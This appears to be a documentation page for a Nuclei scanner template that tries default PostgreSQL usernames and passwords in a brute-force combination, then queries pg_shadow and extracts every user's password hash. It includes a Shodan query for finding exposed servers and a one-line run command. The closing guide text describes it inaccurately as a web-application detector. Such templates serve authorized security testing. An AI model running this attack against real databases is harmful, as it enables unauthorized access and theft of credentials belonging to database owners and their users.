PostgreSQL List Password Hashes

ID: pgsql-list-password-hashes

Severity: high

Author: pussycat0x

Tags: js,network,postgresql,authenticated,enum

Description

Dump password hashes in use within a PostgreSQL database.

YAML Source

id: pgsql-list-password-hashes

info:
  name: PostgreSQL List Password Hashes
  author: pussycat0x
  severity: high
  description: |
    Dump password hashes in use within a PostgreSQL database.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-password-hashes
    - https://launchbylunch.com/posts/2024/Jan/16/postgres-password-encryption/#postgresql-password-encryption-scram-sha-256
    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/postgres/postgres_hashdump.md
  metadata:
    verified: true
    max-request: 8
    shodan-query: "product:\"PostgreSQL\""
  tags: js,network,postgresql,authenticated,enum
javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      connected =  client.ExecuteQuery(Host, Port, User, Pass, Db, "SELECT usename, passwd FROM pg_shadow");
      Export(connected)

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"

    payloads:
      usernames:
        - postgres
        - admin
      password:
        - postgres
        -
        - 123
        - amber
      database:
        - postgres

    attack: clusterbomb

    extractors:
      - type: json
        json:
          - '.Rows[] | "\(.usename) : \(.passwd)"'
# digest: 4a0a00473045022008cf5268ec2c7200ad367990d542a8a7abdc2a162dc3936462c21f5a0de078ae0221009f33652f56e6ea424f0594ed5cfcc174520941a74afb4138cd62069a271e5fc9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "javascript/enumeration/pgsql/pgsql-list-password-hashes.yaml"

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